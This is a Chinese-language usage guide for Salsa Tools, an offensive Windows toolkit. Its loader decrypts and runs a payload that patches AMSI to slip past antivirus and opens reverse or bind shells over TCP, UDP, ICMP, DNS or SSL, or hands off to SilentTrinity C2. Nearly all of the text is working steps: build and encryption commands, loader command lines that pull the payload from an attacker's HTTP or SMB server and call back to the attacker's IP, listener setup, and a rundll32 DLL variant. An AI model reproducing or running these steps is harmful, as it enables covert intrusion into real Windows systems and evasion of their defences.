Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY 以及AV绕过、AMSI修补
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools 是由三个不同工具组成的集合,结合后可让你在任何 Windows 环境中获得增强版反向Shell,且执行时甚至无需 PowerShell。为避免最新的检测技术(AMSI),大部分组件最初使用 C# 编写。Salsa Tools 由 Luis Vacas 在 h-c0n 2019年2月9日的演讲“Inmersión en la explotación tiene rima”中公开发布。
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* 反病毒安全(截至2月17日)
* AMSI修补器
* PowerShell执行
* ...
Salsa-Tools 由三种不同“配料”组成: - EvilSalsa - EncrypterAssembly - SalseoLoader 其行为如下:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] 这就是我们的载荷
EvilSalsa 是本菜谱的关键配料。它包含载荷,在系统上执行方式如下:载荷启动后,立即运行 System.Management.Automation.dll,该 DLL 会创建一个运行空间(runspace)。在该运行空间中,我们有四种类型的 Shell(TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY)。一旦 EvilSalsa 被加载,首先会检查 c:\windows\system32\amsi.dll 是否存在。如果存在,则使用自制变体的 CyberArk 和 Rastamouse 绕过方法进行修补。
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] 使用RC4加密载荷的软件
[+] 我们有Python版本和Exe版本
EncrypterAssembly 可用作 Python 脚本或 Exe 二进制文件。 它用于加密先前生成的 EvilSalsa。
Python 用法:
python encrypterassembly.py <文件> <密码> <输出文件>
可执行文件用法:
Encrypterassembly.exe <文件> <密码> <输出文件>
SalseoLoader 负责加载加密后的载荷。可编译为库或可执行文件。如果作为可执行文件运行,则需在运行时提供所选参数。如果编译为库,则必须导出描述符 "main"。参数通过环境变量添加。
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
作者:CyberVaca@HackPlayers
[+] 用法:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] 可用载荷:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
从 GitHub 下载源代码,并编译 EvilSalsa 和 SalseoLoader。你需要安装 Visual Studio 来编译代码。
根据你将要使用的 Windows 系统的架构编译这些项目(如果 Windows 支持 x64,则编译为该架构)。
你可以在 Visual Studio 左侧的“生成”选项卡中的“平台目标”中选择架构。
(如果找不到这些选项,请点击“项目”选项卡,然后点击“<项目名称>属性”)

然后,生成两个项目(生成 -> 生成解决方案)(日志中会显示可执行文件的路径):

首先,你需要对 EvilSalsa.dll 进行编码。为此,你可以使用 Python 脚本 encrypterassembly.py 或编译项目 EncrypterAssembly。
python EncrypterAssembly/encrypterassembly.py <文件> <密码> <输出文件>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <文件> <密码> <输出文件>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
好了,现在你已经拥有了执行整个 Salseo 所需的一切:加密后的 EvilSalsa.dll 和 SalseoLoader 的二进制文件。 将 SalseoLoader.exe 二进制文件上传到目标机器。它应该不会被任何反病毒软件检测到……
记得启动一个 nc 作为反向 Shell 监听器,以及一个 HTTP 服务器来提供加密的 EvilSalsa。
SalseoLoader.exe password http://<攻击者-IP>/evilsalsa.dll.txt reversetcp <攻击者-IP> <端口>
记得启动一个 nc 作为反向 Shell 监听器,以及一个 SMB 服务器来提供加密的 EvilSalsa(impacket-smbserver)。
SalseoLoader.exe password \\<攻击者-IP>/folder/evilsalsa.dll.txt reverseudp <攻击者-IP> <端口>
在攻击者机器上设置监听器:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <端口> -tls1
执行后门:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <攻击者-IP> <端口>
这次需要在客户端使用一个特殊工具来接收反向 Shell。下载:[https://github.com/inquisb/icmpsh]
禁用 ICMP 回复:
#完成后,可以再次启用它,运行:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
执行客户端:
python icmpsh_m.py "<攻击者-IP>" "<受害机-IP>"
在受害机上,执行 Salseo:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <攻击者-IP>
使用 Visual Studio 打开 SalseoLoader 项目。
在 main 函数前添加这一行:[DllExport]

工具 --> NuGet 包管理器 --> 管理解决方案的 NuGet 包...

搜索 DllExport 包(使用“浏览”选项卡),然后点击“安装”(并接受弹出窗口)

在你的项目文件夹中会出现文件:DllExport.bat 和 DllExport_Configure.bat
点击卸载(是的,这很奇怪,但请相信我,这是必要的)

只需退出 Visual Studio
然后,进入你的 SalseoLoader 文件夹 并 执行 DllExport_Configure.bat 选择 x64(如果你将在 x64 系统中使用,我的是这种情况),选择 System.Runtime.InteropServices(在 DllExport 的命名空间 中),然后点击应用

[DllExport] 应该不再标记为错误

选择 输出类型 = 类库(项目 --> SalseoLoader 属性 --> 应用程序 --> 输出类型 = 类库)

选择 x64 平台(项目 --> SalseoLoader 属性 --> 生成 --> 平台目标 = x64)

生成解决方案:生成 --> 生成解决方案(输出控制台中会显示新 DLL 的路径)
将 DLL 复制粘贴到你想要测试的位置。
执行:
rundll32.exe SalseoLoader.dll,main
如果没有出现错误,那么你很可能拥有了一个可用的 DLL!!
别忘了使用 HTTP 服务器 并设置一个 nc 监听器
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main